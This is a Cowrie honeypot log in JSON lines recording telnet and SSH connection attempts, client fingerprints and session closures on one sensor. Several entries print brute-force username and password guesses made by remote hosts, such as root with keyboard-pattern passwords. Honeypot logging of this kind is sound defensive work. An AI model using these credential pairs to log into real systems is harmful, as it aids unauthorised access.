{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":30759,"dst_ip":"159.203.135.109","dst_port":23,"session":"359f660c124c","protocol":"telnet","message":"New connection: 42.114.201.41:30759 (159.203.135.109:23) [session: 359f660c124c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:53.628658Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":22012,"dst_ip":"159.203.135.109","dst_port":23,"session":"61c562d2c7ab","protocol":"telnet","message":"New connection: 42.114.201.41:22012 (159.203.135.109:23) [session: 61c562d2c7ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:53.632337Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":26268,"dst_ip":"159.203.135.109","dst_port":23,"session":"95ebe6a8407b","protocol":"telnet","message":"New connection: 42.114.201.41:26268 (159.203.135.109:23) [session: 95ebe6a8407b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:55.898700Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52814,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e21e37531d4","protocol":"telnet","message":"New connection: 209.126.87.217:52814 (159.203.135.109:23) [session: 0e21e37531d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:57.641480Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":55026,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ac6df430a37","protocol":"telnet","message":"New connection: 139.162.207.207:55026 (10.17.0.5:23) [session: 9ac6df430a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:00.766662Z"}
{"eventid":"cowrie.session.closed","duration":36.254162549972534,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:01.485795Z","src_ip":"139.162.207.207","session":"c3240b0a7a1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":49866,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0ebf157c8c0","protocol":"telnet","message":"New connection: 209.126.87.217:49866 (159.203.135.109:23) [session: b0ebf157c8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:04.858732Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":49874,"dst_ip":"159.203.135.109","dst_port":23,"session":"21889d592882","protocol":"telnet","message":"New connection: 209.126.87.217:49874 (159.203.135.109:23) [session: 21889d592882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:05.428891Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":37278,"dst_ip":"159.203.135.109","dst_port":23,"session":"fad0a75e9219","protocol":"telnet","message":"New connection: 185.26.126.47:37278 (159.203.135.109:23) [session: fad0a75e9219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:07.077887Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":47762,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b9604b24ad0","protocol":"ssh","message":"New connection: 80.94.92.182:47762 (10.17.0.5:22) [session: 6b9604b24ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:12.078809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:12.153265Z","src_ip":"80.94.92.182","session":"6b9604b24ad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:12.233224Z","src_ip":"80.94.92.182","session":"6b9604b24ad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.323752641677856,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:12.674391Z","src_ip":"209.126.87.217","session":"7e1f9663a137","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:13.030088Z","src_ip":"80.94.92.182","session":"6b9604b24ad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:14.186715Z","src_ip":"80.94.92.182","session":"6b9604b24ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42386,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9823bbdf48d","protocol":"telnet","message":"New connection: 209.126.87.217:42386 (159.203.135.109:23) [session: a9823bbdf48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:14.298131Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42402,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e22e1aca2d1","protocol":"telnet","message":"New connection: 209.126.87.217:42402 (159.203.135.109:23) [session: 0e22e1aca2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:14.467320Z"}
{"eventid":"cowrie.session.closed","duration":34.39782214164734,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:14.477418Z","src_ip":"209.126.87.217","session":"d53df89851fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00148677825928,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:14.677045Z","src_ip":"170.82.106.219","session":"d2cfdf9a48b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.413522481918335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:15.359703Z","src_ip":"209.126.87.217","session":"7cdce5e17eda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.64327621459961,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:15.721048Z","src_ip":"185.26.126.47","session":"fad0a75e9219","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":37552,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae802e99af3f","protocol":"telnet","message":"New connection: 139.162.207.207:37552 (10.17.0.5:23) [session: ae802e99af3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:17.245425Z"}
{"eventid":"cowrie.session.closed","duration":32.80352520942688,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:17.635248Z","src_ip":"139.162.207.207","session":"7d442f72081c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42408,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f52bed8bc75","protocol":"telnet","message":"New connection: 209.126.87.217:42408 (159.203.135.109:23) [session: 1f52bed8bc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:19.628350Z"}
{"eventid":"cowrie.session.closed","duration":32.80023646354675,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:20.657650Z","src_ip":"139.162.207.207","session":"fdb0482fc7b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.99758291244507,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:23.182157Z","src_ip":"209.126.87.217","session":"ef467f58993c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.358728647232056,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:23.660831Z","src_ip":"139.162.207.207","session":"edb4ab201b0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.574007511138916,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:23.902410Z","src_ip":"209.126.87.217","session":"c3eefbf5f3f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.68495297431946,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:23.947704Z","src_ip":"139.162.207.207","session":"00a934f29be3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":34468,"dst_ip":"159.203.135.109","dst_port":23,"session":"51cea0fd99f8","protocol":"telnet","message":"New connection: 209.126.87.217:34468 (159.203.135.109:23) [session: 51cea0fd99f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:24.002137Z"}
{"eventid":"cowrie.session.closed","duration":34.208539724349976,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:24.087426Z","src_ip":"209.126.87.217","session":"86819d9261e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06212902069092,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:24.318238Z","src_ip":"209.126.87.217","session":"c488d29d8e29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":41686,"dst_ip":"159.203.135.109","dst_port":22,"session":"7aaa72438f74","protocol":"ssh","message":"New connection: 171.244.141.86:41686 (159.203.135.109:22) [session: 7aaa72438f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:24.446533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:24.452533Z","src_ip":"171.244.141.86","session":"7aaa72438f74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:24.695301Z","src_ip":"171.244.141.86","session":"7aaa72438f74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.39621424674988,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:24.752525Z","src_ip":"209.126.87.217","session":"3c45bd47fff4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55894,"dst_ip":"159.203.135.109","dst_port":22,"session":"6301efed014f","protocol":"ssh","message":"New connection: 159.203.92.129:55894 (159.203.135.109:22) [session: 6301efed014f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:24.814402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:24.820373Z","src_ip":"159.203.92.129","session":"6301efed014f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:24.826525Z","src_ip":"159.203.92.129","session":"6301efed014f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"QWE123","message":"login attempt [ansible/QWE123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:24.838797Z","src_ip":"159.203.92.129","session":"6301efed014f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zaq1xsw2cde#","message":"login attempt [root/Zaq1xsw2cde#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:25.670520Z","src_ip":"171.244.141.86","session":"7aaa72438f74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:25.848663Z","src_ip":"159.203.92.129","session":"6301efed014f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":34476,"dst_ip":"159.203.135.109","dst_port":23,"session":"fafc8494e8ee","protocol":"telnet","message":"New connection: 209.126.87.217:34476 (159.203.135.109:23) [session: fafc8494e8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:26.868410Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:26.923282Z","src_ip":"171.244.141.86","session":"7aaa72438f74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.674771547317505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:28.316131Z","src_ip":"209.126.87.217","session":"0e21e37531d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":34482,"dst_ip":"159.203.135.109","dst_port":23,"session":"85d4512ad6a9","protocol":"telnet","message":"New connection: 209.126.87.217:34482 (159.203.135.109:23) [session: 85d4512ad6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:28.736112Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":47128,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8b069342cc3","protocol":"telnet","message":"New connection: 139.162.207.207:47128 (10.17.0.5:23) [session: a8b069342cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:30.930394Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":47130,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c62f9c7f672","protocol":"telnet","message":"New connection: 139.162.207.207:47130 (10.17.0.5:23) [session: 8c62f9c7f672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:33.137890Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51766,"dst_ip":"159.203.135.109","dst_port":23,"session":"332745b26b6a","protocol":"telnet","message":"New connection: 209.126.87.217:51766 (159.203.135.109:23) [session: 332745b26b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:35.137488Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51782,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdb5bbec1d29","protocol":"telnet","message":"New connection: 209.126.87.217:51782 (159.203.135.109:23) [session: fdb5bbec1d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:35.147801Z"}
{"eventid":"cowrie.session.closed","duration":32.931204080581665,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:38.359981Z","src_ip":"209.126.87.217","session":"21889d592882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.207990646362305,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:39.974510Z","src_ip":"139.162.207.207","session":"9ac6df430a37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.951865673065186,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:40.810456Z","src_ip":"209.126.87.217","session":"b0ebf157c8c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":54786,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecda7a2f4ac1","protocol":"telnet","message":"New connection: 139.162.207.207:54786 (10.17.0.5:23) [session: ecda7a2f4ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:40.849448Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33028,"dst_ip":"159.203.135.109","dst_port":23,"session":"83beacae2a9b","protocol":"telnet","message":"New connection: 209.126.87.217:33028 (159.203.135.109:23) [session: 83beacae2a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:41.559263Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":54800,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4fc2376d220","protocol":"telnet","message":"New connection: 139.162.207.207:54800 (10.17.0.5:23) [session: b4fc2376d220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:41.969712Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":41560,"dst_ip":"159.203.135.109","dst_port":22,"session":"9652ab5d2510","protocol":"ssh","message":"New connection: 103.146.202.174:41560 (159.203.135.109:22) [session: 9652ab5d2510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:43.074257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:43.078251Z","src_ip":"103.146.202.174","session":"9652ab5d2510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:43.328524Z","src_ip":"103.146.202.174","session":"9652ab5d2510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123wsx!@#","message":"login attempt [root/qaz123wsx!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:44.365549Z","src_ip":"103.146.202.174","session":"9652ab5d2510","protocol":"ssh"}
